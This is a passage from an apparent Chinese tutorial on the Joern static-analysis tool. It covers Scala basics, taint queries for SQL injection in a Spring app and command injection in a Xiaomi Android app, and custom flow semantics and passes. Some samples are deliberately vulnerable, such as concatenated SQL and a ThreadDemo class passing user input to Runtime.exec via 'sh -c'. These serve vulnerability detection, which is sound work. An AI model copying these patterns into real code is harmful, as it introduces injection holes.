│importCode      │Create new project from code                    │importCode("example.jar")│
│importCpg       │Create new project from existing CPG            │importCpg("cpg.bin.zip") │
│open            │Open project by name                            │open("projectName")      │
│openForInputPath│Open project for input path                     │                         │
│project         │Currently active project                        │project                  │
│run             │Run analyzer on active CPG                      │run.securityprofile      │
│save            │Write all changes to disk                       │save                     │
│switchWorkspace │Close current workspace and open a different one│                         │
│workspace       │Access to the workspace directory               │workspace                │
└────────────────┴────────────────────────────────────────────────┴─────────────────────────┘

joern> cpg.help
...

joern-cli 套件除了 joern-parse 和 joern，还包含了 joern-export、joern-scan 等脚本用户导出控制流图以及批量扫描等功能，关于这些工具的使用细节，可以参考官方的 Joern Documentation。

以 cpg 为根结点，我们可以查找代码属性图中的所有结点类型，比如类、方法、调用、控制流等。这些结点都可以以属性的形式获取，比如：

  • cpg.method: 表示所有方法结点；
  • cpg.parameter: 表示所有方法的参数；
  • cpg.method("main").parameter: 表示所有名称为 main 的方法的参数；
  • cpg.typeDecl("Foo").method: 表示所有名称为 Foo 的类中的所有方法；

其中以 cpg.method 为例，其返回值是 Iterator[Method] 类型，因此可以调用所有 Scala Iterator 的方法，比如 map、filter、toList、size、head 等，后文介绍 Scala 时会也会提及。

cpg.method.parameter 实际上是拓展了 Iterator，使其支持子查询。另外 Joern 还实现了一些特殊的 Step 比如用于递归查询的 repeat、times 系列和用于数据流分析的 sink.reachableBy(source) 系列。

所有类型的 Step 可以参考文档中的 Node-Type Steps 一节。

Scala 101

前面说过，Joern 使用 Scala 编写，而且其查询语句也是 Scala 语句，因此为了熟悉 Joern 的查询，我们有必要先简单学习一下 Scala。很多同学没用过 Scala，因此一看到就觉得它像 Lisp、Haskell 一样反人类，但其实这是一个很简单的语言。

Scala 是一种基于 JVM 的语言，也就是说 .scala 源码可以像 Java 一样编译为 .class 文件，同时被 JVM 加载运行。其实可以将 Scala 当成是一个 Java 的拓展，可以使用现有的 Java 生态。如果你用过 Kotlin，那么应该会对 Scala 的语法感到熟悉。

一个简单的 hello.scala 代码如下：

object hello {
  def main(args: Array[String]) = {
    println("Hello, World!")
  }
}

如果是 Scala3，则可以更简单：

@main def hello() = println("Hello, World!")

编译运行：

scalac hello.scala
scala hello

本节主要介绍一些 Joern 查询经常用到的语法。

首先是变量定义：

var a = 1
val b = List(1, 2)
val c = 1 to 5 // 表示 1 到 5 的 Iterator

可以看到 Scala 虽然是个强类型语言，但是可以做到智能类型推导，因此在变量赋值的时候通常无需指定类型。

函数定义：

def fn(x: Any) = println(x)
def fn1(x: Int) = { x * x }
def fn2 = 1 to 5

对于函数定义来说，所有的参数还是需要声明类型的，不过返回类型可以自动推导得到。

注意 def a = 1 to 5 和 val a = 1 to 5 的差异，两者都是返回 Iterator 对象，但是前者每次返回都是新的 Iterator，而后者指向同一个 Iterator，因此后者只能遍历一次。

匿名函数和 JavaScript 类似，可以写成箭头函数 (x: R) => x * x，常用于需要传入过滤函数的场景，比如：

def it = 1 to 5
it.map(x => x * 2)
// 对于单个函数参数，可以省略括号
it.map { x =>
  val y = x * 2
  println(y)
  y
}
// 可以使用 `_` 代替单个参数：
it.map(_ * 2)

Scala 中有一些特别的语法糖，比如中缀语法糖：

case class Pair(x: Int, y: Int) {
  def plus(other: Pair): Int = x + other.x + y + other.y
}

val p1 = Pair(1, 2)
val p2 = Pair(3, 4)
val sum = p1 plus p2  // 使用中缀语法
// 等价于
val sum = p1.plus(p2)

因此下面两个表达式也是等价的：

5 + 3
5.+(3)

按照惯例，如果你调用方法是为了利用方法的“副作用”，此时写上空括号，如果方法没有任何副作用（没有修改其它程序状态），你可以省略掉括号。

(1 to 5).toList()
// 一般写成
(1 to 5).toList

类定义方面，普通类和抽象类和 Java 中的定义类似，接口则和 Rust 比较类似，用 trait 定义：

trait MyTrait {
  def method(): Unit = println("This is a trait method.")
}

案例类，用于生成不可变的数据接口，自动生成 apply、unapply、toString、equals 等方法：

case class MyCaseClass(name: String, age: Int)

对象类，也称单例类，只能有一个实例：

object MyObject {
  def method(): Unit = println("yeah.")
}

基本的语法也就这样了，更多 Scala 的语法和使用细节可以通过阅读 Joern 或其他项目的源码去熟悉(使用 Scala 的项目有 Apache Spark、Kafka、Flink 等)。毕竟语言只是一种工具，多看多写才能有所进步。

和 Java 使用 maven 进行工程管理一样，Scala 一般使用 sbt 进行工程管理。有趣的是 sbt 的管理文件 build.sbt 也是使用 Scala 编写的，一个示例如下：

ThisBuild / scalaVersion := "2.13.12"
ThisBuild / organization := "com.example"

lazy val hello = project
  .in(file("."))
  .settings(
    name := "Hello",
    libraryDependencies += "org.scala-lang" %% "toolkit-test" % "0.1.7" % Test
  )

sbt 可以和 maven 一样通过模版新建工程：

sbt new scala/scala-seed.g8

编译测试运行：

sbt compile
sbt test
sbt clean run

Joern 的工程同样是通过 sbt 进行管理，因此了解 sbt 有助于我们后续理解其架构和阅读源码。更多的 sbt 功能参考官方文档 https://www.scala-sbt.org/ 。

实战分享

学习了 Joern 的基本代码属性图和 Scala 的语法，现在可以开始编写你的第一条代码分析规则了！本节列举一些常用查询示例，以便大家熟悉 Joern 查询的风格。

我们使用两个不同的项目进行测试，分别是一个 Spring 源码应用，以及一个 Android 应用。

joern
joern> importCode("vuln-spring")
joern> importCode("xiaomi.apk")

同一个 joern-cli 可以加载多个项目，通过 workspace 命令查看所有 project，通过 workspace.openProject 打开对应的工程。

在代码图属性数据层来说，具体的查找是语言无关的，不过某些 Step 只有在特定语言才会生效(比如 annotation)，因此具体选择的语言关系并不大，你也可以用 C/C++ 或者 Python 和 JavaScript 项目来进行测试。

vuln-spring 是一个 Spring Web 应用，对于这类项目，可能我们第一个想要找的就是路由：

cpg.annotation.where(_.name(".*Mapping")).method.fullName.l

这个查询应该还算比较直观，有个需要注意的是 where，它和 filter 的主要不同点在于前者过滤函数的返回值为 Iterator 类型，而 filter 的过滤函数需要返回 Boolean 类型。末尾的 .l 实际上是 .toList 的简写(alias)，即将 Iterator 转换为 List 进行输出。

然后是找漏洞点，比如 SQL 注入。这里以 springframework JdbcTemplate 为例，查找其类方法。

根据直觉很容易写入下面的查询：

cpg.typeDecl.fullNameExact("org.springframework.jdbc.core.JdbcTemplate").method.l

其中 fullNameExcat 是一个快捷方法，相当于 typeDecl.filter(_.fullName.equals("xx"))。前面查询用到的 name("xxx") 也是类似的实现。以 name 为例，常用的简写包括：

  • nameExact("xxx"): 等于；
  • name("xxx"): 正则表达式匹配；
  • nameNot("xxx"): 不等于，也是正则匹配；

.filter 和 .where 也包括类似的 filterNot 和 whereNot 快捷取反匹配。

但是，上面的查询实际上会返回空列表，因为 JdbcTemplate 这个类并不是定义在代码中的，而是在 Spring 的 jar 包中外部类。我们构建 CPG 数据库的时候并没有获取依赖，因此自然也就无法得知该类下的所有方法。

这是新手很容易犯的错误，不过只要了解原理就很容易避免，正确查找外部方法的方式是：

cpg.method.fullName("org\\.springframework\\.jdbc.core\\.JdbcTemplate\\..*")
// 或者
cpg.method.filter(_.fullName.startsWith("org.springframework.jdbc.core.JdbcTemplate."))
// 或者更用的，直接找调用
cpg.call.filter(_.methodFullName.startsWith("org.springframework.jdbc.core.JdbcTemplate.")).code.l

将 source 和 sink 组合起来，就写出了我们第一条 SQL 注入查询规则：

def source = cpg.annotation.where(_.name(".*Mapping")).method.parameter
def sink = cpg.call.filter(_.methodFullName.startsWith("org.springframework.jdbc.core.JdbcTemplate.")).argument(1)
sink.reachableByFlows(source).p

.p 和 .l 一样是一个快捷方法，用于将 Iterator 以格式化文本的方式输出。上面的结果有部分误报，主要是指定了所有路由参数，其中包含一些不可控的 Model 或者 HttpSession 对象，可以进一步优化规则进行约束。

注意这里 sink 指定 argument(1) 表示第一个参数，argument(0) 一般表示方法调用的 this 对象。

sink.reachableBy(source) 返回的则是满足条件的 source，对于我们的查询而言是 Iterator[MethodParameterIn]；reachableByFlows 返回的是 Iterator[Path]，.p 会将其以表格的形式打印，如果你不喜欢默认的表格输出，也可以通过 map 方式转换为自定义的输出。

def prettyPath = (p: Path) => p.elements.map(
	e => String.format("%-20s %s", e.label, e.code)
).mkString("\n")
sink.reachableByFlows(source).map(prettyPath).mkString("\n\n===\n")

mkString 相当于 String.join 方法，将列表组合为字符串。输出示例：

METHOD_PARAMETER_IN  @RequestParam(name = "password", required = true) String password
IDENTIFIER           password          
METHOD_PARAMETER_IN  String password     
IDENTIFIER           password                       
CALL                 "SELECT * FROM users WHERE USERNAME=\"" + username + "\" AND PASSWORD=\"" + password + "\""
IDENTIFIER           query

通过这种方式我们可以结构化漏洞扫描输出，形成报告或者对接其他的后续验证逻辑。

与 Java 源码不同，有的 Jar 包只有字节码，不过 Joern 同样支持使用 Soot 去加载字节码并转换为 IR 从而将代码属性图存入数据库中。既然都是使用 Soot，那 Joern 是否支持 Android 漏洞扫描呢，答案是肯定的：

pr
给 Joern 的第一个 PR

对于小型 APK 可以直接使用 jimple2cpg 或者 importCode 默认参数进行加载，而对于大型应用最好添加 --android 参数指定 android.jar (这是 Soot 的 API 导致的 Bug)。同时对于大型应用需要适当提高 JVM 内存。

jimple2cpg -J-Xmx30g --android $ANDROID_HOME/platforms/android-34/android.jar large.apk -o large.cpg

如果大家想要练手，可以使用一些开源的漏洞靶标应用进行测试，比如：

这里我们以一个实际漏洞为案例进行分析，即小米去年的一个系统应用命令注入漏洞。

漏洞详情可以参考 Oversecured 的博客 20 Security Issues Found in Xiaomi Devices，本节复现的是其中一个 System Tracing 应用的命令注入漏洞。对应的 APK 可以在 apkmirror 下载，见 System Tracing 1.0。

该漏洞原理在于小米动态注册了一个 AppReceiver，并且在其 onReceive 方法中通过接收的参数拼接 shell 命令执行导致命令注入。

对于漏洞挖掘而言，我们自动化挖掘该漏洞的难点在哪呢？首先在 Android 的四大组件中，BroadCastReceiver 比较特殊，它是唯一一个可以不用在 AndroidManifest.xml 中定义也可以使用的组件，即通过动态注册的方式初始化。

那么我们首要的任务就是找到所有代码中的 BroadCastReceiver 找出来，这个需求比较简单：

cpg.typeDecl.fullNameExact("android.content.BroadcastReceiver").derivedTypeDeclTransitive.fullName.l

derivedTypeDecl 及其变种 derivedTypeDeclTransitive 都是用于查找子类的辅助方法，如果自己写的话可以通过递归解析和查找 inheritsFromTypeFullName 属性来查找接口和父类。

这个查询只是找到所有 Receiver，但并不一定都有用到，所以我们进一步通过 Context.registerReceiver 查找实际注册的 Receiver 对象，并定位到实际的类型。

我们可以利用 Joern 数据流分析的能力，查找 BroadcastReceiver 的构造方法调用到 registerReceiver 的数据流，如下所示：

val baseCls = "android.content.BroadcastReceiver"
val receiverCls = cpg.typeDecl.fullNameExact(baseCls).derivedTypeDeclTransitive.fullName.l
def source = cpg.call.nameExact(Operators.alloc).filter(n => receiverCls.contains(n.typeFullName))
def sink = cpg.call.nameExact("registerReceiver").argument(1)

// 查找数据流
sink.reachableBy(source)

这个查询能够找到类似下面这种调用：

BroadcastReceiver r = new FooReceiver();
this.registerReceiver(r, filter);

但是却找不到我们这个漏洞所处于的位置，反编译代码：

public class ApplicationImpl extends Application {  
    private AppReceiver mDumpReceiver = new AppReceiver();  
  
    @Override // android.app.Application  
    public void onCreate() {  
        super.onCreate();  
        IntentFilter intentFilter = new IntentFilter();  
        intentFilter.addAction("com.android.traceur.DumpReceiver");  
        registerReceiver(this.mDumpReceiver, intentFilter);  
    }
}

这里实际上是通过属性的方式进行传递，可以看到 Joern 的数据流分析这里并没有关联上，因为 source 和 sink 分别在两个不相关的函数 <clinit> 和 onCreate() 中，静态分析工具并不知道 onCreate 这种生命周期函数什么时候会被调用。

一种方式是修改 Joern 的前端代码，模拟 Runtime 进行生命周期方法调用，在解析代码属性图的时候为这些方法添加自定义的调用，从而补全增强控制流图(CFG)。

当然这种方式可能需要修改 Joern 源码，我们可以通过其他投机取巧的方式，观察到 source 和 sink 的连结断点主要在类属性上，那么可以尝试新建一个中间结点再做一次数据流分析。

def fieldAccess = cpg.fieldAccess.filter(fa => receiverCls.contains(fa.typeFullName) || fa.typeFullName.equals(baseCls))
// 所有 BroadCastReceiver 及其子类类型的属性读取结点
def fieldRead = fieldAccess.filter(fa => fa.argumentIndex == 2)
// 返回的是实际的 BroadCastReceiver 类型的属性
val reads = sink.reachableBy(fieldRead).toList
// 找到所有的属性名称，结果为 List[List[String]]
val fields = reads.map(r => List(r.typeDecl.fullName.head, r.fieldIdentifier.canonicalName.head))
// 匹配上述 field 的所有写入
def fieldWrite = fieldAccess
  .filter(fa => fa.argumentIndex == 1)
  .filter{fa =>
    val li = fa.map( r =>
        List(r.typeDecl.fullName.head, r.fieldIdentifier.canonicalName.head)
    )
    li.exists(fields.contains)
  }

// 数据流查询
fieldWrite.reachableByFlows(source).p

稍微解释一下：

  1. fieldAccess.argumentIndex 表示属性在上级表达式中的参数位置，1 为写入，类似 r0.field = value，2 为读取，类似 r1 = r0.field；这个指定不是必须的，不过在代码量大的时候可以稍微提升下速度；
  2. fieldAccess 包含所有类型为 BroadCastReceiver 及其子类的属性的访问，注意 receiverCls 中只包含子类，没包含 BroadCastReceiver 父类本身，因此需要加上以匹配多态的情况；
  3. fields 是为了拿到所有的属性字段名称，以 List 的格式存储，包含类名和字段名，用字符串保存也是可以的；
  4. 然后在 fieldWrite 匹配对应字段的写入，这里使用了 List.exists 判断列表 li 中是否包含列表 fields 中的元素；

最后使用 reachableByFlows 找到所有原 source 到指定属性写中的链路，返回结果如下：

joern> fieldWrite.reachableByFlows(source).p
val res131: List[String] = List(
  """
┌──────────────────┬──────────────────────────────────────────────────┬────┬────────┬────────────────────────────────┐
│nodeType          │tracked                                           │line│method  │file                            │
├──────────────────┼──────────────────────────────────────────────────┼────┼────────┼────────────────────────────────┤
│Call              │new com.android.traceur.MainFragment$10           │228 │onCreate│com.android.traceur.MainFragment│
│Identifier        │$r17 = new com.android.traceur.MainFragment$10    │228 │onCreate│com.android.traceur.MainFragment│
│Identifier        │$r17.com.android.traceur.MainFragment$10(r0)      │228 │onCreate│com.android.traceur.MainFragment│
│MethodParameterIn │<init>(this, com.android.traceur.MainFragment $r1)│227 │<init>  │com.android.traceur.MainFragment│
│MethodParameterOut│RET                                               │227 │<init>  │com.android.traceur.MainFragment│
│Identifier        │$r17.com.android.traceur.MainFragment$10(r0)      │228 │onCreate│com.android.traceur.MainFragment│
│Identifier        │r0.mRefreshReceiver = $r17                        │228 │onCreate│com.android.traceur.MainFragment│
│Call              │r0.mRefreshReceiver = $r17                        │228 │onCreate│com.android.traceur.MainFragment│
└──────────────────┴──────────────────────────────────────────────────┴────┴────────┴────────────────────────────────┘""",
  """
┌──────────────────┬─────────────────────────────────────────┬────┬──────┬───────────────────────────────────┐
│nodeType          │tracked                                  │line│method│file                               │
├──────────────────┼─────────────────────────────────────────┼────┼──────┼───────────────────────────────────┤
│Call              │new com.android.traceur.AppReceiver      │8   │<init>│com.android.traceur.ApplicationImpl│
│Identifier        │$r1 = new com.android.traceur.AppReceiver│8   │<init>│com.android.traceur.ApplicationImpl│
│Identifier        │$r1.com.android.traceur.AppReceiver()    │8   │<init>│com.android.traceur.ApplicationImpl│
│MethodParameterIn │<init>(this)                             │38  │<init>│com.android.traceur.AppReceiver    │
│MethodParameterOut│RET                                      │38  │<init>│com.android.traceur.AppReceiver    │
│Identifier        │$r1.com.android.traceur.AppReceiver()    │8   │<init>│com.android.traceur.ApplicationImpl│
│Identifier        │r0.mDumpReceiver = $r1                   │8   │<init>│com.android.traceur.ApplicationImpl│
│Call              │r0.mDumpReceiver = $r1                   │8   │<init>│com.android.traceur.ApplicationImpl│
└──────────────────┴─────────────────────────────────────────┴────┴──────┴───────────────────────────────────┘"""
)

找到了两个匹配，其中第二个即为我们要找的漏洞类，第一个结果匹配的点为：

public class MainFragment extends PreferenceFragment {
	// ...
	private BroadcastReceiver mRefreshReceiver;
	@Override // androidx.preference.PreferenceFragment, android.app.Fragment
    public void onCreate(Bundle bundle) {
	    // ...
	    this.mRefreshReceiver = new BroadcastReceiver() { // from class: com.android.traceur.MainFragment.10
            @Override // android.content.BroadcastReceiver
            public void onReceive(Context context, Intent intent) {
                MainFragment.this.refreshUi();
            }
        };
    }
	@Override // androidx.preference.PreferenceFragment, android.app.Fragment
    public void onStart() {
        super.onStart();
        // ...
        getActivity().registerReceiver(this.mRefreshReceiver, new IntentFilter("com.android.traceur.REFRESH_TAGS"), 4);
        Receiver.updateTracing(getContext());
    }
}

可以看到我们这个查询语句同样也找到了基于多态的匿名类赋值，其中动态注册的类名为 com.android.traceur.MainFragment$10。虽然规则写得有点 ugly，不过已经基本能用了。

后续操作就是要继续添加规则，将两种不同的数据流合并，然后将 source 中的构造方法对应类名提取出来，再定位其 onReceive 方法，将该方法的参数作为后续阶段漏洞分析的 source，从而查找到危险函数如 Runtime.exec 等的调用。

进阶操作

从前面的分享中应该已经基本了解了 Joern 的用法和常见查询，同时也知道该工具存在一些局限性。幸运的是 Joern 同时也存在很强的拓展性，本节就来介绍一些比较有用的拓展操作。

在前面介绍 Web 漏洞挖掘时，我们的 SQL 查询实际上有很多误报，其中最为严重的一个误报是明明指定了 sink 是 JdbcTemplate 的方法第一个参数，但实际上参数传入了其他参数也会认为是有效路径：

def sink = cpg.call.filter(_.methodFullName.startsWith("org.springframework.jdbc.core.JdbcTemplate.")).argument(1)

这是因为 Joern 对于没有代码的外部方法，为了保持可靠性(soundness)，会将这些方法的传播规则设置为传播到所有参数和返回值，牺牲误报率以减少漏报率。

However, to remain sound, Joern will treat external methods with no semantic definitions as able to propagate taint from all arguments, to all arguments including the return value.

这无疑提高了我们分析误报的成本。那么有没有什么方法可以优化数据流分析，即对指定方法进行语义配置呢？答案是有的。我们可以指定额外的 FlowSemantic 列表，如下所示：

import io.joern.dataflowengineoss.layers.dataflows.{OssDataFlow, OssDataFlowOptions}
import io.shiftleft.semanticcpg.layers.LayerCreatorContext
import io.joern.dataflowengineoss.semanticsloader.FlowSemantic

val extraFlows = List(
    FlowSemantic.from(
        "^path.*<module>\\.sanitizer$", // Method full name
        List((1, 1)), // Flow mappings
        regex = true  // Interpret the method full name as a regex string
    )
)

val context = new LayerCreatorContext(cpg)
val options = new OssDataFlowOptions(extraFlows = extraFlows)
new OssDataFlow(options).run(context)

数据流映射通过数字 Tuple 实现：

  • 1, -1 表示第一个参数数据流会传播给返回值；
  • 1, 2 表示第一个参数数据流会传播给第二个参数；
  • 1, 0 表示第一个参数数据流会传播给示例对象(this)；
  • 1, 1 表示第一个参数数据流会传播给自身，通常用于表示数据流是否中断，即用于指定 sanitizer；

比如如下代码：

x = source()
foo(x) // "foo" 1->1 表示数据流继续向下传播，否则会中断
sink(x)

除了以上面的代码形式指定，Joern 也支持使用 semanticsloader/Parser 加载语义文件，每行表示一条 extraFlows，包含多个 FlowSemantic，以空格分隔，例如：

"foo" 1->-1 2->3

每个参数都需要带有位置标识，不过对于某些语言可以指定命名参数：

"foo" 1 "param1"->2 3 -> 2 "param2"

对于一般的数据流分析，会认为默认参数间不互相污染，并且参数会污染返回值。因为大家写得比较多，所以 Joern 也提供了特殊的规则即 PASSTHROUGH:

"foo" PASSTHROUGH 0 -> 0

使用 scala 代码为：

FlowSemantic("foo", List(PassThroughMapping))

从语义上来说等价于 foo(1, 2) = 1 -> 1, 2 -> 2, 1 -> -1, 2 -> -1，即所有参数会污染自身和函数的返回值，注意没有 0 -> 0，因此 this 对象不会污染自身。

我们可以通过 context.semantics.elements 查看当前默认的 FlowSemantic 列表。前面添加语义使用的 val context = new LayerCreatorContext(cpg) 会覆盖当前的 context 对象。

从实践上来看，创建语义的方式有多种，可以自行选取适合的方式：

import io.joern.dataflowengineoss.semanticsloader.{FlowSemantic, PassThroughMapping, Parser}
// 调用构造方法
val s = FlowSemantic("org\\.springframework.*", List(PassThroughMapping), true)
// 调用静态方法
val s = FlowSemantic.from("org\\.springframework.*", List((1, -1)), true)
// 使用 Parser
val parser = Parser()
// 从字符串加载单条或者多条语义，返回列表
val extraFlows = parser.parse(""" "foo" PASSTHROUGH 0 -> 0 """)
// 从文件中加载
val extraFlows = parser.parseFile("semantics.txt")

更多细节可以查看官方的文档介绍 Dataflow Semantics 或者查看源码。

不同于数据流分析，有时候我们仅仅关注控制流，比如下面的语句可以递归查找调用：

cpg.method.name("exec").repeat(_.caller)(_.emit.dedup).fullName.sorted

对于我们之前 Android 漏洞挖掘的例子，数据流分析在面对 Android 运行时的一些回调函数时无法进行跟踪，本质也是因为控制流没有关联上。由于 Joern 本身是基于 Scala 的查询，而且也把所有数据结构暴露给了用户，那其实也可以像自定义数据流语义一样添加新的控制流规则。

伪代码如下：

val methods = cpg.method
val node1 = methods.next
val node2 = methods.next
node1.addEdge(EdgeTypes.AST, node2)

可基于 joern-cli 的自动补全查看支持的边类型：

joern> EdgeTypes.
ALIAS_OF             AST                  CALL                 CDG                  CONTAINS             IMPORTS              PARAMETER_LINK       REACHING_DEF         SOURCE_FILE
ALL                  BINDS                CAPTURE              CFG                  DOMINATE             INHERITS_FROM        POINTS_TO            RECEIVER             TAGGED_BY
ARGUMENT             BINDS_TO             CAPTURED_BY          CONDITION            EVAL_TYPE            IS_CALL_FOR_IMPORT   POST_DOMINATE        REF

这是旧版本的用法，新版本中使用 diffGraph 对象，类型为 DiffGraphBuilder，使用 diffGraph.addEdge 可以直接新增控制流边。

考虑一个最常见的多线程调用场景：

class ThreadDemo {
  public static void main(String args[]) throws Exception {
    final String cmd = String.format("sh -c \"%s\"", args[0]);
    Thread th = new Thread(new Runnable() {
      @Override
      public void run() {
        System.out.println("Running in a new thread");
        try {
          System.out.println("return: " + Runtime.getRuntime().exec(cmd));
        } catch(Exception ignore) {}
      }
    });
    th.start();
    Thread.sleep(1000);
  }
}

正如前面所说，如果使用正常的静态分析，是无法识别到输入到输出的数据流的：

def source = cpg.method.nameExact("main").parameter
def sink = cpg.call.nameExact("exec").argument
sink.reachableBy(source)

针对这个用例，我们需要让程序知道 Thread.start 会调用到 Runnable.run，因此可以直接添加一条边：

val call = cpg.call("start").head
val target = cpg.method("run").head
diffGraph.addEdge(call, target, EdgeTypes.CALL)
run.commit

然后再运行 sink.reachableBy 就能找到正确的调用链了：

joern> sink.reachableByFlows(source).p
val res4: List[String] = List(
  """                                                                                                                  
┌──────────────────┬────────────────────────────────────────────────────────────────────────────┬────┬──────┬────┐     
│nodeType          │tracked                                                                     │line│method│file│   
├──────────────────┼────────────────────────────────────────────────────────────────────────────┼────┼──────┼────┤
│MethodParameterIn │main(String[] args)                                                         │2   │main  │    │
│Call              │<operator>.arrayInitializer                                                 │3   │main  │    │
│Call              │<operator>.arrayInitializer                                                 │3   │main  │    │
│Call              │String.format("sh -c \"%s\"", args[0])                                      │3   │main  │    │
│Identifier        │String cmd = String.format("sh -c \"%s\"", args[0])                         │3   │main  │    │
│Identifier        │new Runnable() { @Override public void run() { System.out.println("Running  │4   │main  │    │
│                  │in a new thread"); try { System.out.println("return: " +                    │    │      │    │
│                  │Runtime.getRuntime().exec(cmd)); } catch (Exception ignore) { } } }         │    │      │    │
│MethodParameterIn │<init>(this, cmd)                                                           │4   │<init>│    │
│Identifier        │this.cmd = cmd                                                              │4   │<init>│    │
│Call              │this.cmd = cmd                                                              │4   │<init>│    │
│MethodParameterOut│RET                                                                         │N/A │<init>│    │
│Identifier        │new Runnable() { @Override public void run() { System.out.println("Running  │4   │main  │    │
│                  │in a new thread"); try { System.out.println("return: " +                    │    │      │    │
│                  │Runtime.getRuntime().exec(cmd)); } catch (Exception ignore) { } } }         │    │      │    │
│Block             │$obj0                                                                       │4   │main  │    │
│Identifier        │new Thread(new Runnable() { @Override public void run() {                   │4   │main  │    │
│                  │System.out.println("Running in a new thread"); try {                        │    │      │    │
│                  │System.out.println("return: " + Runtime.getRuntime().exec(cmd)); } catch    │    │      │    │
│                  │(Exception ignore) { } } })                                                 │    │      │    │
│Identifier        │th.start()                                                                  │13  │main  │    │
│MethodParameterIn │run(this)                                                                   │5   │run   │    │
│Call              │Runtime.getRuntime().exec(cmd)                                              │9   │run   │    │
└──────────────────┴────────────────────────────────────────────────────────────────────────────┴────┴──────┴────┘""",

注意 diffGraph 只是一个临时的差分图，需要 commit 之后才能将差异提交到 cpg 中。这只是一种简单的示例，代码中还没关联 Thread 对应的具体 Runable 类，这就留给读者进行完善了。

如果需要对代码属性图做复杂的操作，比如针对反射实现数据流跟踪等，可以使用自定义 Pass，参考下一节的介绍。

前面我们提到了 diffGraph，笔者其实是通过搜索代码找到的，发现在 ghidra2cpg 的 JumpPass.scala 中就有类似的操作：

class JumpPass(cpg: Cpg) extends ForkJoinParallelCpgPass[Method](cpg) {

  override def generateParts(): Array[Method] =
    cpg.method.toArray
  override def runOnPart(diffGraph: DiffGraphBuilder, method: Method): Unit = {
    method.ast
      .filter(_.isInstanceOf[Call])
      .map(_.asInstanceOf[Call])
      .nameExact("<operator>.goto")
      .where(_.argument.order(1).isLiteral)
      .foreach { sourceCall =>
        sourceCall.argument.order(1).code.l.headOption.flatMap(parseAddress) match {
          case Some(destinationAddress) =>
            method.ast.filter(_.isInstanceOf[Call]).lineNumber(destinationAddress).foreach { destination =>
              diffGraph.addEdge(sourceCall, destination, EdgeTypes.CFG)
            }
          case _ => // Ignore for now
          /* TODO: Ask ghidra to resolve addresses of JMPs */
        }
      }
  }

  private def parseAddress(address: String): Option[Int] = {
    Try(Integer.parseInt(address.replaceFirst("0x", ""), 16)).toOption
  }
}

Pass 是 Joern 中用于后处理 CPG 图数据库的结点，比如生成 CFG(Control Flow Graph) 和 DDG(Data Dependency Graph) 等。

针对上一节提到的控制流增强，笔者写了个简单的 DemoPass：

import io.shiftleft.codepropertygraph.generated.{Cpg, EdgeTypes, PropertyNames}
import io.shiftleft.codepropertygraph.generated.nodes.{Call, Method, StoredNode, Type, TypeDecl}
import io.shiftleft.passes.CpgPass


class DemoPass(cpg: Cpg) extends CpgPass(cpg) {

  override def run(diffGraph: DiffGraphBuilder): Unit = {
    val call = cpg.call("start").head
    val target = cpg.method("run").head
    val targetNode = methodFullNameToNode(target.fullName).get
    diffGraph.addEdge(call, targetNode, EdgeTypes.CALL)
    println(s"Add Edge: $call -> $targetNode")
  }

  private def nodesWithFullName(x: String): Iterator[StoredNode] =
    cpg.graph.nodesWithProperty(PropertyNames.FULL_NAME, x).cast[StoredNode]

  private def methodFullNameToNode(x: String): Option[Method] =
    nodesWithFullName(x).collectFirst { case x: Method => x }
}

通过以下方式加载：

new DemoPass(cpg).createAndApply()
run.commit

和 Pass 对应的是 Overlay，Joern 首次加载 CPG 或者使用 joern-parse 生成数据库的时候会默认执行一部分 pass，按照不同的层次依次执行。我们可以通过 project.appliedOverlays 查看当前生效的 Pass：

joern> project.availableOverlays
joern> project.appliedOverlays
res0: Seq[String] = IndexedSeq("base", "controlflow", "typerel", "callgraph", "dataflowOss")

以负责数据流分析的 dataflowOss 为例，其代码实现在 OssDataFlow.scala，会首先执行 ReachingDefPass，同时加上了 extraFlows 实现自定义的数据流控制。

我们可以参考其代码实现自己的 Overlay 来增强 Joern 的功能，这也是其强拓展性的一个表现。

在编写 Joern 代码查询规则的过程中，一个必备的知识就是需要了解其支持的 API，我们可以通过 joern-cli 的 help 命令查看 cpg 的具体 Step 以及后继支持的 Step 和简单介绍：

cgp.help
cpg.method.help
cpg.typeDecl.help

也可以通过下面的文档进行查阅：

但不管是 joern-cli 的 help 命令还是官方文档，都没有完全覆盖所有的 Step，比如我们上面用到查询装饰的 annotation 和用于查询所有子类的 derivedTypeDecl。那么笔者是如何得知这些 API 的呢？一个方法是在社区里看别人的提问和回复，但这显然效率太低。另一个方法就是通过查询源码的方式找到这些信息。

在 Joern 的主仓库 joernio/joern 中有许多单元测试，比如我们查看一些递归搜索的示例，可以搜索 .repeat( 从而查看具体选项例如 .emit、maxDepth 等用法。

另外 Joern 的图数据库基座是 joernio/flatgraph，其前身是 overflowdb，最近 4.0 版本才完成切换。在该仓库中可以找到每个 Step 的实现。从中我们发现递归搜索 .repeat 默认为深度优先，可以通过 .bfs 设置为广度优先，等等诸如此类的 Trick。

从代码中我们能找到一些比较实用的 Step，比如 collectAll 用于返回指定类型的节点。scala 中的 collect 相当于 filter+map 的结合：

.collectAll[Call]
// 相当于
.collect { case x: Call => x }
// 相当于
.filter(_.isInstanceOf[Call]).map(_.asInstanceOf[Call])

我们之前用到的这些 Step，其实也可以自定义，比如我们想要在 method 中新增一个 fooStep 查询，可以使用以下方法：

implicit class MyMethodTraversals(method: Traversal[Method]) {
  def fooStep = method.fullName(".*org.example.*").isPublic
}

cpg.method.fooStep

这使用了 Scala 的 implicit 隐式类类特性，用于通过隐式转换为现有类型添加新方法。隐式类通常用于增强现有类型的功能，而无需直接修改这些类型的定义。

有时编写规则的时候对于某些条件不太好判断，但是将全部结点打印出来又不直观，Joern 提供了一系列绘图方法可以打印指定结点的流图：

joern> cpg.method("main").plotDot
plotDotAst     plotDotCdg     plotDotCfg     plotDotCpg14   plotDotDdg     plotDotPdg

各种图的定义如下：

  • AST: Abstract Syntax Tree，抽象语法树；
  • CDG: Control Dependence Graph，控制依赖图，主要包含 if/else 等控制结构的依赖关系；
  • CFG: Control Flow Graph，控制流图，程序执行的所有可能路径；
  • DDG: Data Dependency Graph，数据依赖图，包含属于依赖关系；
  • PDG: Program Dependence Graph，程序依赖图，包含控制依赖和数据依赖关系；

plotDotXXX 会直接打开默认的图片预览工具，如果是没有图形界面的环境，可以通过 dotXXX 获取 dot 图片的 digraph 文本格式：

cpg.method("main").dotAst.head #> "/tmp/main.dot"

其中使用了自定义的操作符 #> 来将字符串重定向到文件中，也算是一个比较有用的小特性。还有其他用法就有待大家继续深入挖掘了。

总结

